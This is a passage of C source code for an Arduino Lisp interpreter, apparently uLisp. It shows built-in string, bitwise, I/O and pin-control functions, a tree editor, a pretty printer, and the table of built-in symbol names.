*args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if (arg > 0) return tee;\n else return nil;\n}\n\nobject *fn_minusp (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if (arg < 0) return tee;\n else return nil;\n}\n\nobject *fn_zerop (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n return (arg == 0) ? tee : nil;\n}\n\nobject *fn_oddp (object *args, object *env) {\n (void) env;\n return ((integer(first(args)) & 1) == 1) ? tee : nil;\n}\n\nobject *fn_evenp (object *args, object *env) {\n (void) env;\n return ((integer(first(args)) & 1) == 0) ? tee : nil;\n}\n\n\/\/ Number functions\n\nobject *fn_integerp (object *args, object *env) {\n (void) env;\n return integerp(first(args)) ? tee : nil;\n}\n\nobject *fn_numberp (object *args, object *env) {\n (void) env;\n return integerp(first(args)) ? tee : nil;\n}\n\n\/\/ Characters\n\nobject *fn_char (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (!stringp(arg)) error2(arg, PSTR(\"is not a string\"));\n char c = nthchar(arg, integer(second(args)));\n if (c == 0) error(PSTR(\"'char' index out of range\"));\n return character(c);\n}\n\nobject *fn_charcode (object *args, object *env) {\n (void) env;\n return number(fromchar(first(args)));\n}\n\nobject *fn_codechar (object *args, object *env) {\n (void) env;\n return character(integer(first(args)));\n}\n\nobject *fn_characterp (object *args, object *env) {\n (void) env;\n return characterp(first(args)) ? tee : nil;\n}\n\n\/\/ Strings\n\nobject *fn_stringp (object *args, object *env) {\n (void) env;\n return stringp(first(args)) ? tee : nil;\n}\n\nbool stringcompare (object *args, bool lt, bool gt, bool eq) {\n object *arg1 = first(args);\n object *arg2 = second(args);\n if (!stringp(arg1) || !stringp(arg2)) error(PSTR(\"String compare argument is not a string\"));\n arg1 = cdr(arg1);\n arg2 = cdr(arg2);\n while ((arg1 != NULL) || (arg2 != NULL)) {\n if (arg1 == NULL) return lt;\n if (arg2 == NULL) return gt;\n if (arg1->integer < arg2->integer) return lt;\n if (arg1->integer > arg2->integer) return gt;\n arg1 = car(arg1);\n arg2 = car(arg2);\n }\n return eq;\n}\n\nobject *fn_stringeq (object *args, object *env) {\n (void) env;\n return stringcompare(args, false, false, true) ? tee : nil;\n}\n\nobject *fn_stringless (object *args, object *env) {\n (void) env;\n return stringcompare(args, true, false, false) ? tee : nil;\n}\n\nobject *fn_stringgreater (object *args, object *env) {\n (void) env;\n return stringcompare(args, false, true, false) ? tee : nil;\n}\n\nobject *fn_sort (object *args, object *env) {\n if (first(args) == NULL) return nil;\n object *list = cons(nil,first(args));\n push(list,GCStack);\n object *predicate = second(args);\n object *compare = cons(NULL,cons(NULL,NULL));\n object *ptr = cdr(list);\n while (cdr(ptr) != NULL) {\n object *go = list;\n while (go != ptr) {\n car(compare) = car(cdr(ptr));\n car(cdr(compare)) = car(cdr(go));\n if (apply(predicate, compare, &env)) break;\n go = cdr(go);\n }\n if (go != ptr) {\n object *obj = cdr(ptr);\n cdr(ptr) = cdr(obj);\n cdr(obj) = cdr(go);\n cdr(go) = obj;\n } else ptr = cdr(ptr);\n }\n pop(GCStack);\n return cdr(list);\n}\n\nobject *fn_stringfn (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n int type = arg->type;\n if (type == STRING) return arg;\n object *obj = myalloc();\n obj->type = STRING;\n if (type == CHARACTER) {\n object *cell = myalloc();\n cell->car = NULL;\n uint8_t shift = (sizeof(int)-1)*8;\n cell->integer = fromchar(arg)<<shift;\n obj->cdr = cell;\n } else if (type == SYMBOL) {\n char *s = name(arg);\n char ch = *s++;\n object *head = NULL;\n int chars = 0;\n while (ch) {\n if (ch == '\\\\') ch = *s++;\n buildstring(ch, &chars, &head);\n ch = *s++;\n }\n obj->cdr = head;\n } else error(PSTR(\"Cannot convert to string\"));\n return obj;\n}\n\nobject *fn_concatenate (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n symbol_t name = arg->name;\n if (name != STRINGFN) error(PSTR(\"'concatenate' only supports strings\"));\n args = cdr(args);\n object *result = myalloc();\n result->type = STRING;\n object *head = NULL;\n int chars = 0;\n while (args != NULL) {\n object *obj = first(args);\n if (obj->type != STRING) error2(obj, PSTR(\"not a string\"));\n obj = cdr(obj);\n while (obj != NULL) {\n int quad = obj->integer;\n while (quad != 0) {\n char ch = quad>>((sizeof(int)-1)*8) & 0xFF;\n buildstring(ch, &chars, &head);\n quad = quad<<8;\n }\n obj = car(obj);\n }\n args = cdr(args);\n }\n result->cdr = head;\n return result;\n}\n\nobject *fn_subseq (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (!stringp(arg)) error(PSTR(\"'subseq' first argument is not a string\"));\n int start = integer(second(args));\n int end;\n args = cddr(args);\n if (args != NULL) end = integer(car(args)); else end = stringlength(arg);\n object *result = myalloc();\n result->type = STRING;\n object *head = NULL;\n int chars = 0;\n for (int i=start; i<end; i++) {\n char ch = nthchar(arg, i);\n if (ch == 0) error(PSTR(\"'subseq' index out of range\"));\n buildstring(ch, &chars, &head);\n }\n result->cdr = head;\n return result;\n}\n\nint gstr () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n char c = nthchar(GlobalString, GlobalStringIndex++);\n return (c != 0) ? c : '\\n'; \/\/ -1?\n}\n\nobject *fn_readfromstring (object *args, object *env) { \n (void) env;\n object *arg = first(args);\n if (!stringp(arg)) error(PSTR(\"'read-from-string' argument is not a string\"));\n GlobalString = arg;\n GlobalStringIndex = 0;\n return read(gstr);\n}\n\nvoid pstr (char c) {\n buildstring(c, &GlobalStringIndex, &GlobalString);\n}\n \nobject *fn_princtostring (object *args, object *env) { \n (void) env;\n object *arg = first(args);\n object *obj = myalloc();\n obj->type = STRING;\n GlobalString = NULL;\n GlobalStringIndex = 0;\n char temp = PrintReadably;\n PrintReadably = 0;\n printobject(arg, pstr);\n PrintReadably = temp;\n obj->cdr = GlobalString;\n return obj;\n}\n\nobject *fn_prin1tostring (object *args, object *env) { \n (void) env;\n object *arg = first(args);\n object *obj = myalloc();\n obj->type = STRING;\n GlobalString = NULL;\n GlobalStringIndex = 0;\n printobject(arg, pstr);\n obj->cdr = GlobalString;\n return obj;\n}\n\n\/\/ Bitwise operators\n\nobject *fn_logand (object *args, object *env) {\n (void) env;\n int result = -1;\n while (args != NULL) {\n result = result & integer(first(args));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_logior (object *args, object *env) {\n (void) env;\n int result = 0;\n while (args != NULL) {\n result = result | integer(first(args));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_logxor (object *args, object *env) {\n (void) env;\n int result = 0;\n while (args != NULL) {\n result = result ^ integer(first(args));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_lognot (object *args, object *env) {\n (void) env;\n int result = integer(car(args));\n return number(~result);\n}\n\nobject *fn_ash (object *args, object *env) {\n (void) env;\n int value = integer(first(args));\n int count = integer(second(args));\n if (count >= 0)\n return number(value << count);\n else\n return number(value >> abs(count));\n}\n\nobject *fn_logbitp (object *args, object *env) {\n (void) env;\n int index = integer(first(args));\n int value = integer(second(args));\n return (bitRead(value, index) == 1) ? tee : nil;\n}\n\n\/\/ System functions\n\nobject *fn_eval (object *args, object *env) {\n return eval(first(args), env);\n}\n\nobject *fn_globals (object *args, object *env) {\n (void) args;\n if (GlobalEnv == NULL) return nil;\n return fn_mapcar(cons(symbol(CAR),cons(GlobalEnv,nil)), env);\n}\n\nobject *fn_locals (object *args, object *env) {\n (void) args;\n return env;\n}\n\nobject *fn_makunbound (object *args, object *env) {\n (void) env;\n object *key = first(args);\n deletesymbol(key->name);\n return delassoc(key, &GlobalEnv);\n}\n\nobject *fn_break (object *args, object *env) {\n (void) args;\n pfstring(PSTR(\"\\rBreak!\\r\"), pserial);\n BreakLevel++;\n repl(env);\n BreakLevel--;\n return nil;\n}\n\nobject *fn_read (object *args, object *env) {\n (void) env;\n gfun_t gfun = gstreamfun(args);\n return read(gfun);\n}\n\nobject *fn_prin1 (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n printobject(obj, pfun);\n return obj;\n}\n\nobject *fn_print (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n pln(pfun);\n printobject(obj, pfun);\n (pfun)(' ');\n return obj;\n}\n\nobject *fn_princ (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n char temp = PrintReadably;\n PrintReadably = 0;\n printobject(obj, pfun);\n PrintReadably = temp;\n return obj;\n}\n\nobject *fn_terpri (object *args, object *env) {\n (void) env;\n pfun_t pfun = pstreamfun(args);\n pln(pfun);\n return nil;\n}\n\nobject *fn_readbyte (object *args, object *env) {\n (void) env;\n gfun_t gfun = gstreamfun(args);\n int c = gfun();\n return (c == -1) ? nil : number(c);\n}\n\nobject *fn_readline (object *args, object *env) {\n (void) env;\n gfun_t gfun = gstreamfun(args);\n return readstring('\\n', gfun);\n}\n\nobject *fn_writebyte (object *args, object *env) {\n (void) env;\n int value = integer(first(args));\n pfun_t pfun = pstreamfun(cdr(args));\n (pfun)(value);\n return nil;\n}\n\nobject *fn_writestring (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n char temp = PrintReadably;\n PrintReadably = 0;\n printstring(obj, pfun);\n PrintReadably = temp;\n return nil;\n}\n\nobject *fn_writeline (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n char temp = PrintReadably;\n PrintReadably = 0;\n printstring(obj, pfun);\n pln(pfun);\n PrintReadably = temp;\n return nil;\n}\n\nobject *fn_restarti2c (object *args, object *env) {\n (void) env;\n int stream = first(args)->integer;\n args = cdr(args);\n int read = 0; \/\/ Write\n I2CCount = 0;\n if (args != NULL) {\n object *rw = first(args);\n if (integerp(rw)) I2CCount = integer(rw);\n read = (rw != NULL);\n }\n int address = stream & 0xFF;\n if (stream>>8 != I2CSTREAM) error(PSTR(\"'restart' not i2c\"));\n return I2Crestart(address, read) ? tee : nil;\n}\n\nobject *fn_gc (object *obj, object *env) {\n int initial = Freespace;\n unsigned long start = micros();\n gc(obj, env);\n unsigned long elapsed = micros() - start;\n pfstring(PSTR(\"Space: \"), pserial);\n pint(Freespace - initial, pserial);\n pfstring(PSTR(\" bytes, Time: \"), pserial);\n pint(elapsed, pserial);\n pfstring(PSTR(\" us\\r\"), pserial);\n return nil;\n}\n\nobject *fn_room (object *args, object *env) {\n (void) args, (void) env;\n return number(Freespace);\n}\n\nobject *fn_saveimage (object *args, object *env) {\n if (args != NULL) args = eval(first(args), env);\n return number(saveimage(args));\n}\n\nobject *fn_loadimage (object *args, object *env) {\n (void) env;\n if (args != NULL) args = first(args);\n return number(loadimage(args));\n}\n\nobject *fn_cls (object *args, object *env) {\n (void) args, (void) env;\n pserial(12);\n return nil;\n}\n\n\/\/ Arduino procedures\n\nobject *fn_pinmode (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n object *mode = second(args);\n if ((integerp(mode) && mode->integer == 1) || mode != nil) pinMode(pin, OUTPUT);\n else if (integerp(mode) && mode->integer == 2) pinMode(pin, INPUT_PULLUP);\n #if defined(INPUT_PULLDOWN)\n else if (integerp(mode) && mode->integer == 4) pinMode(pin, INPUT_PULLDOWN);\n #endif\n else pinMode(pin, INPUT);\n return nil;\n}\n\nobject *fn_digitalread (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n if (digitalRead(pin) != 0) return tee; else return nil;\n}\n\nobject *fn_digitalwrite (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n object *mode = second(args);\n if (integerp(mode)) digitalWrite(pin, mode->integer);\n else digitalWrite(pin, (mode != nil));\n return mode;\n}\n\nobject *fn_analogread (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n checkanalogread(pin);\n return number(analogRead(pin));\n}\n \nobject *fn_analogwrite (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n checkanalogwrite(pin);\n object *value = second(args);\n analogWrite(pin, integer(value));\n return value;\n}\n\nobject *fn_delay (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n delay(integer(arg1));\n return arg1;\n}\n\nobject *fn_millis (object *args, object *env) {\n (void) args, (void) env;\n return number(millis());\n}\n\nobject *fn_sleep (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n sleep(integer(arg1));\n return arg1;\n}\n\nobject *fn_note (object *args, object *env) {\n (void) env;\n static int pin = 255;\n if (args != NULL) {\n pin = integer(first(args));\n int note = 0;\n if (cddr(args) != NULL) note = integer(second(args));\n int octave = 0;\n if (cddr(args) != NULL) octave = integer(third(args));\n playnote(pin, note, octave);\n } else nonote(pin);\n return nil;\n}\n\n\/\/ Tree Editor\n\nobject *fn_edit (object *args, object *env) {\n object *fun = first(args);\n object *pair = findvalue(fun, env);\n clrflag(EXITEDITOR);\n object *arg = edit(eval(fun, env));\n cdr(pair) = arg;\n return arg;\n}\n\nobject *edit (object *fun) {\n while (1) {\n if (tstflag(EXITEDITOR)) return fun;\n char c = gserial();\n if (c == 'q') setflag(EXITEDITOR);\n else if (c == 'b') return fun;\n else if (c == 'r') fun = read(gserial);\n else if (c == '\\n') { pfl(pserial); superprint(fun, 0, pserial); pln(pserial); }\n else if (c == 'c') fun = cons(read(gserial), fun);\n else if (atom(fun)) pserial('!');\n else if (c == 'd') fun = cons(car(fun), edit(cdr(fun)));\n else if (c == 'a') fun = cons(edit(car(fun)), cdr(fun));\n else if (c == 'x') fun = cdr(fun);\n else pserial('?');\n }\n}\n\n\/\/ Pretty printer\n\nconst int PPINDENT = 2;\nconst int PPWIDTH = 80;\n\nvoid pcount (char c) {\n LastPrint = c;\n if (c == '\\n') GlobalStringIndex++;\n GlobalStringIndex++;\n}\n \nint atomwidth (object *obj) {\n GlobalStringIndex = 0;\n printobject(obj, pcount);\n return GlobalStringIndex;\n}\n\nboolean quoted (object *obj) {\n return (consp(obj) && (car(obj)->name == QUOTE) && consp(cdr(obj)) && (cddr(obj) == NULL));\n}\n\nint subwidth (object *obj, int w) {\n if (atom(obj)) return w - atomwidth(obj);\n if (quoted(obj)) return subwidthlist(car(cdr(obj)), w - 1);\n return subwidthlist(obj, w - 1);\n}\n\nint subwidthlist (object *form, int w) {\n while (form != NULL && w >= 0) {\n if (atom(form)) return w - (2 + atomwidth(form));\n w = subwidth(car(form), w - 1);\n form = cdr(form);\n }\n return w;\n}\n\nvoid superprint (object *form, int lm, pfun_t pfun) {\n if (atom(form)) {\n if (symbolp(form) && form->name == NOTHING) pstring(name(form), pfun);\n else printobject(form, pfun);\n }\n else if (quoted(form)) { pfun('\\''); superprint(car(cdr(form)), lm + 1, pfun); }\n else if (subwidth(form, PPWIDTH - lm) >= 0) supersub(form, lm + PPINDENT, 0, pfun);\n else supersub(form, lm + PPINDENT, 1, pfun);\n}\n\nconst int ppspecials = 14;\nconst char ppspecial[ppspecials] PROGMEM = \n { DOTIMES, DOLIST, IF, SETQ, TEE, LET, LETSTAR, LAMBDA, WHEN, UNLESS, WITHI2C, WITHSERIAL, WITHSPI, WITHSDCARD };\n\nvoid supersub (object *form, int lm, int super, pfun_t pfun) {\n int special = 0, separate = 1;\n object *arg = car(form);\n if (symbolp(arg)) {\n int name = arg->name;\n if (name == DEFUN) special = 2;\n else for (int i=0; i<ppspecials; i++) {\n if (name == pgm_read_byte(&ppspecial[i])) { special = 1; break; } \n } \n }\n while (form != NULL) {\n if (atom(form)) { pfstring(PSTR(\" . \"), pfun); printobject(form, pfun); pfun(')'); return; }\n else if (separate) { pfun('('); separate = 0; }\n else if (special) { pfun(' '); special--; }\n else if (!super) pfun(' ');\n else { pln(pfun); indent(lm, pfun); }\n superprint(car(form), lm, pfun);\n form = cdr(form); \n }\n pfun(')'); return;\n}\n\nobject *fn_pprint (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n pln(pfun);\n superprint(obj, 0, pfun);\n return symbol(NOTHING);\n}\n\nobject *fn_pprintall (object *args, object *env) {\n (void) args, (void) env;\n object *globals = GlobalEnv;\n while (globals != NULL) {\n object *pair = first(globals);\n object *var = car(pair);\n object *val = cdr(pair);\n if (listp(val) && symbolp(car(val)) && car(val)->name == LAMBDA) {\n pln(pserial);\n superprint(cons(symbol(DEFUN), cons(var, cdr(val))), 0, pserial);\n pln(pserial);\n }\n globals = cdr(globals);\n }\n return symbol(NOTHING);\n}\n\n\/\/ Insert your own function definitions here\n\n\/\/ Built-in procedure names - stored in PROGMEM\n\nconst char string0[] PROGMEM = \"symbols\";\nconst char string1[] PROGMEM = \"nil\";\nconst char string2[] PROGMEM = \"t\";\nconst char string3[] PROGMEM = \"nothing\";\nconst char string4[] PROGMEM = \"&rest\";\nconst char string5[] PROGMEM = \"lambda\";\nconst char string6[] PROGMEM = \"let\";\nconst char string7[] PROGMEM = \"let*\";\nconst char string8[] PROGMEM = \"closure\";\nconst char string9[] PROGMEM = \"special_forms\";\nconst char string10[] PROGMEM = \"quote\";\nconst char string11[] PROGMEM = \"defun\";\nconst char string12[] PROGMEM = \"defvar\";\nconst char string13[] PROGMEM = \"setq\";\nconst char string14[] PROGMEM = \"loop\";\nconst char string15[] PROGMEM = \"push\";\nconst char string16[] PROGMEM = \"pop\";\nconst char string17[] PROGMEM = \"incf\";\nconst char string18[] PROGMEM = \"decf\";\nconst char string19[] PROGMEM = \"setf\";\nconst char string20[] PROGMEM = \"dolist\";\nconst char string21[] PROGMEM = \"dotimes\";\nconst char string22[] PROGMEM = \"trace\";\nconst char string23[] PROGMEM = \"untrace\";\nconst char string24[] PROGMEM = \"for-millis\";\nconst char string25[] PROGMEM = \"with-serial\";\nconst char string26[] PROGMEM = \"with-i2c\";\nconst char string27[] PROGMEM = \"with-spi\";\nconst char string28[] PROGMEM = \"with-sd-card\";\nconst char string29[] PROGMEM = \"tail_forms\";\nconst char string30[] PROGMEM = \"progn\";\nconst char string31[] PROGMEM = \"return\";\nconst char string32[] PROGMEM = \"if\";\nconst char string33[] PROGMEM = \"cond\";\nconst char string34[] PROGMEM = \"when\";\nconst char string35[] PROGMEM = \"unless\";\nconst char string36[] PROGMEM = \"and\";\nconst char string37[] PROGMEM = \"or\";\nconst char string38[] PROGMEM = \"functions\";\nconst char string39[] PROGMEM = \"not\";\nconst char string40[] PROGMEM = \"null\";\nconst char string41[] PROGMEM = \"cons\";\nconst char string42[] PROGMEM = \"atom\";\nconst char string43[] PROGMEM = \"listp\";\nconst char string44[] PROGMEM = \"consp\";\nconst char string45[] PROGMEM = \"symbolp\";\nconst char string46[] PROGMEM = \"streamp\";\nconst char string47[] PROGMEM = \"eq\";\nconst char string48[] PROGMEM = \"car\";\nconst char string49[] PROGMEM = \"first\";\nconst char string50[] PROGMEM = \"cdr\";\nconst char string51[] PROGMEM = \"rest\";\nconst char string52[] PROGMEM = \"caar\";\nconst char string53[] PROGMEM = \"cadr\";\nconst char string54[] PROGMEM = \"second\";\nconst char string55[] PROGMEM = \"cdar\";\nconst char string56[] PROGMEM = \"cddr\";\nconst char string57[] PROGMEM = \"caaar\";\nconst char string58[] PROGMEM = \"caadr\";\nconst char string59[] PROGMEM = \"cadar\";\nconst char string60[] PROGMEM = \"caddr\";\nconst char string61[] PROGMEM = \"third\";\nconst char string62[] PROGMEM = \"cdaar\";\nconst char string63[] PROGMEM = \"cdadr\";\nconst char string64[] PROGMEM = \"cddar\";\nconst char string65[] PROGMEM = \"cdddr\";\nconst char string66[] PROGMEM = \"length\";\nconst char string67[] PROGMEM = \"list\";\nconst char string68[] PROGMEM = \"reverse\";\nconst char string69[] PROGMEM = \"nth\";\nconst char string70[] PROGMEM = \"assoc\";\nconst char string71[] PROGMEM = \"member\";\nconst char string72[] PROGMEM = \"apply\";\nconst char string73[] PROGMEM = \"funcall\";\nconst char string74[] PROGMEM = \"append\";\nconst char string75[] PROGMEM = \"mapc\";\nconst char string76[] PROGMEM = \"mapcar\";\nconst char string77[] PROGMEM = \"+\";\nconst char string78[] PROGMEM = \"-\";\nconst char string79[] PROGMEM = \"*\";\nconst char string80[] PROGMEM = \"\/\";\nconst char string81[] PROGMEM = \"truncate\";\nconst char string82[] PROGMEM = \"mod\";\nconst char string83[] PROGMEM = \"1+\";\nconst char string84[] PROGMEM = \"1-\";\nconst char string85[] PROGMEM = \"abs\";\nconst char string86[] PROGMEM = \"random\";\nconst char string87[] PROGMEM = \"max\";\nconst char string88[] PROGMEM = \"min\";\nconst char string89[] PROGMEM = \"\/=\";\nconst char string90[] PROGMEM = \"=\";\nconst char string91[] PROGMEM = \"<\";\nconst char string92[] PROGMEM = \"<=\";\nconst char string93[] PROGMEM = \">\";\nconst char string94[] PROGMEM = \">=\";\nconst char string95[] PROGMEM = \"plusp\";\nconst char string96[] PROGMEM = \"minusp\";\nconst char string97[] PROGMEM = \"zerop\";\nconst char string98[] PROGMEM = \"oddp\";\nconst char string99[] PROGMEM = \"evenp\";\nconst char string100[] PROGMEM = \"integerp\";\nconst char string101[] PROGMEM = \"numberp\";\nconst char string102[] PROGMEM = \"char\";\nconst char string103[] PROGMEM = \"char-code\";\nconst char string104[] PROGMEM = \"code-char\";\nconst char string105[] PROGMEM = \"characterp\";\nconst char string106[] PROGMEM = \"stringp\";\nconst char string107[] PROGMEM = \"string=\";\nconst char string108[] PROGMEM = \"string<\";\nconst char string109[] PROGMEM = \"string>\";\nconst char string110[] PROGMEM = \"sort\";\nconst char string111[] PROGMEM = \"string\";\nconst char string112[] PROGMEM = \"concatenate\";\nconst char string113[] PROGMEM = \"subseq\";\nconst char string114[] PROGMEM = \"read-from-string\";\nconst char string115[] PROGMEM = \"princ-to-string\";\nconst char string116[] PROGMEM = \"prin1-to-string\";\nconst char string117[] PROGMEM = \"logand\";\nconst char string118[] PROGMEM = \"logior\";\nconst char string119[] PROGMEM = \"logxor\";\nconst char string120[] PROGMEM = \"lognot\";\nconst char string121[] PROGMEM = \"ash\";\nconst char string122[] PROGMEM = \"logbitp\";\nconst char string123[] PROGMEM = \"eval\";\nconst char string124[] PROGMEM = \"globals\";\nconst char string125[] PROGMEM = \"locals\";\nconst char string126[] PROGMEM = \"makunbound\";\nconst char string127[] PROGMEM = \"break\";\nconst char string128[] PROGMEM = \"read\";\nconst char string129[] PROGMEM = \"prin1\";\nconst char string130[] PROGMEM = \"print\";\nconst char string131[] PROGMEM = \"princ\";\nconst char string132[] PROGMEM = \"terpri\";\nconst char string133[] PROGMEM = \"read-byte\";\nconst char string134[] PROGMEM = \"read-line\";\nconst char string135[] PROGMEM = \"write-byte\";\nconst char string136[] PROGMEM = \"write-string\";\nconst char string137[] PROGMEM = \"write-line\";\nconst char string138[] PROGMEM = \"restart-i2c\";\nconst char string139[] PROGMEM = \"gc\";\nconst char string140[] PROGMEM = \"room\";\nconst char string141[] PROGMEM = \"save-image\";\nconst char string142[] PROGMEM = \"load-image\";\nconst char string143[] PROGMEM = \"cls\";\nconst char string144[] PROGMEM = \"pinmode\";\nconst char string145[] PROGMEM = \"digitalread\";\nconst char string146[] PROGMEM = \"digitalwrite\";\nconst char string147[] PROGMEM = \"analogread\";\nconst char string148[] PROGMEM = \"analogwrite\";\nconst char string149[] PROGMEM = \"delay\";\nconst char string150[] PROGMEM = \"millis\";\nconst char string151[] PROGMEM = \"sleep\";\nconst char string152[] PROGMEM = \"note\";\nconst char string153[] PROGMEM = \"edit\";\nconst char string154[] PROGMEM = \"pprint\";\nconst char string155[] PROGMEM = \"pprintall\";\n\nconst tbl_entry_t lookup_table[] PROGMEM = {\n { string0, NULL, NIL, NIL },\n { string1, NULL, 0, 0 },\n { string2, NULL, 1, 0 },\n { string3, NULL, 1, 0 },\n { string4, NULL, 1, 0 },\n { string5, NULL, 0, 127 },\n { string6, NULL, 0, 127 },\n { string7, NULL, 0, 127 },\n { string8, NULL, 0, 127 },\n { string9, NULL, NIL, NIL },\n { string10, sp_quote, 1, 1 },\n { string11, sp_defun, 0, 127 },\n { string12, sp_defvar, 2, 2 },\n { string13, sp_setq, 2, 2 },\n { string14, sp_loop, 0, 127 },\n { string15, sp_push, 2, 2 },\n { string16, sp_pop, 1, 1 },\n { string17, sp_incf, 1, 2 },\n { string18, sp_decf, 1, 2 },\n { string19, sp_setf, 2, 2 },\n { string20, sp_dolist, 1, 127 },\n { string21, sp_dotimes, 1, 127 },\n { string22, sp_trace, 0, 1 },\n { string23, sp_untrace, 0, 1 },\n { string24, sp_formillis, 1, 127 },\n { string25, sp_withserial, 1, 127 },\n { string26, sp_withi2c, 1, 127 },\n { string27, sp_withspi, 1, 127 },\n { string28, sp_withsdcard, 2, 127 },\n { string29, NULL, NIL, NIL },\n { string30, tf_progn, 0, 127 },\n { string31, tf_return, 0, 127 },\n { string32, tf_if, 2, 3 },\n { string33, tf_cond, 0, 127 },\n { string34, tf_when, 1, 127 },\n { string35, tf_unless, 1, 127 },\n { string36, tf_and, 0, 127 },\n { string37, tf_or, 0, 127 },\n { string38, NULL, NIL, NIL },\n { string39, fn_not, 1, 1 },\n { string40, fn_not, 1, 1 },\n { string41, fn_cons, 2, 2 },\n { string42, fn_atom, 1, 1 },\n { string43, fn_listp, 1, 1 },\n { string44, fn_consp, 1, 1 },\n { string45, fn_symbolp, 1, 1 },\n { string46, fn_streamp, 1, 1 },\n { string47, fn_eq, 2, 2 },\n { string48, fn_car, 1, 1 },\n { string49, fn_car, 1, 1 },\n { string50, fn_cdr, 1, 1 },\n { string51, fn_cdr, 1, 1 },\n { string52, fn_caar, 1, 1 },\n { string53, fn_cadr, 1, 1 },\n { string54, fn_cadr, 1, 1 },\n { string55, fn_cdar, 1, 1 },\n { string56, fn_cddr, 1, 1 },\n { string57, fn_caaar, 1, 1 },\n { string58, fn_caadr, 1, 1 },\n { string59, fn_cadar, 1, 1 },\n { string60, fn_caddr, 1, 1 },\n { string61, fn_caddr, 1, 1 },\n { string62, fn_cdaar, 1, 1 },\n { string63, fn_cdadr, 1, 1 },\n { string64, fn_cddar, 1, 1 },\n { string65, fn_cdddr, 1, 1 },\n { string66, fn_length, 1, 1 },\n { string67, fn_list, 0, 127 },\n { string68, fn_reverse, 1, 1 },\n { string69, fn_nth, 2, 2 },\n { string70, fn_assoc, 2, 2 },\n { string71, fn_member, 2, 2 },\n { string72, fn_apply, 2, 127 },\n { string73, fn_funcall, 1, 127 },\n { string74, fn_append, 0, 127 },\n { string75, fn_mapc, 2, 3 },\n { string76, fn_mapcar, 2, 3 },\n { string77, fn_add, 0, 127 },\n { string78, fn_subtract, 1, 127 },\n { string79, fn_multiply, 0, 127 },\n { string80, fn_divide, 2, 127 },\n { string81, fn_divide, 1, 2 },\n { string82, fn_mod, 2, 2 },\n { string83, fn_oneplus, 1, 1 },\n { string84, fn_oneminus, 1, 1 },\n { string85, fn_abs, 1, 1 },\n { string86, fn_random, 1, 1 },\n { string87, fn_maxfn, 1, 127 },\n { string88, fn_minfn, 1, 127 },\n { string89, fn_noteq, 1, 127 },\n { string90, fn_numeq, 1, 127 },\n { string91, fn_less, 1, 127 },\n { string92, fn_lesseq, 1, 127 },\n { string93, fn_greater, 1, 127 },\n { string94, fn_greatereq, 1, 127 },\n { string95, fn_plusp, 1, 1 },\n { string96, fn_minusp, 1, 1 },\n { string97, fn_zerop, 1, 1 },\n { string98, fn_oddp, 1, 1 },\n { string99, fn_evenp, 1, 1 },\n { string100, fn_integerp, 1, 1 },\n { string101, fn_numberp, 1, 1 },\n { string102, fn_char, 2, 2 },\n { string103, fn_charcode, 1, 1 },\n { string104, fn_codechar, 1, 1 },\n { string105, fn_characterp, 1, 1 },\n { string106, fn_stringp, 1, 1 },\n { string107, fn_stringeq, 2, 2 },\n { string108, fn_stringless, 2, 2 },\n { string109, fn_stringgreater, 2, 2 },\n { string110, fn_sort, 2, 2 },\n { string111, fn_stringfn, 1, 1 },\n { string112, fn_concatenate, 1, 127 },\n { string113, fn_subseq, 2, 3 },\n { string114, fn_readfromstring, 1, 1 },\n { string115, fn_princtostring, 1, 1 },\n { string116, fn_prin1tostring, 1, 1 },\n { string117, fn_logand, 0, 127 },\n { string118, fn_logior, 0, 127 },\n { string119, fn_logxor, 0, 127 },\n { string120, fn_lognot, 1, 1 },\n { string121, fn_ash, 2, 2 },\n { string122, fn_logbitp, 2, 2 },\n { string123, fn_eval, 1, 1 },\n { string124, fn_globals, 0, 0 },\n { string125, fn_locals, 0, 0 },\n { string126, fn_makunbound, 1, 1 },\n { string127, fn_break, 0, 0 },\n { string128, fn_read, 0, 1 },\n { string129, fn_prin1, 1, 2 },\n { string130, fn_print, 1, 2 },\n { string131, fn_princ, 1, 2 },\n { string132, fn_terpri, 0, 1 },\n { string133, fn_readbyte, 0, 2 },\n { string134, fn_readline, 0, 1 },\n { string135, fn_writebyte, 1, 2 },\n { string136, fn_writestring, 1, 2 },\n { string137, fn_writeline, 1, 2 },\n { string138, fn_restarti2c, 1, 2 },\n { string139, fn_gc, 0, 0 },\n { string140, fn_room, 0, 0 },\n { string141, fn_saveimage, 0, 1 },\n { string142, fn_loadimage, 0, 1 },\n { string143, fn_cls, 0, 0 },\n { string144, fn_pinmode, 2, 2 },\n { string145, fn_digitalread, 1, 1 },\n { string146, fn_digitalwrite, 2, 2 },\n { string147, fn_analogread, 1, 1 },\n { string148, fn_analogwrite, 2, 2 },\n { string149, fn_delay, 1, 1 },\n { string150, fn_millis, 0, 0 },\n { string151, fn_sleep, 1, 1 },\n { string152, fn_note, 0, 3 },\n { string153, fn_edit, 1, 1 },\n { string154, fn_pprint, 1, 2 },\n { string155, fn_pprintall, 0, 0 },\n};\n\n\/\/ Table lookup functions\n\nint 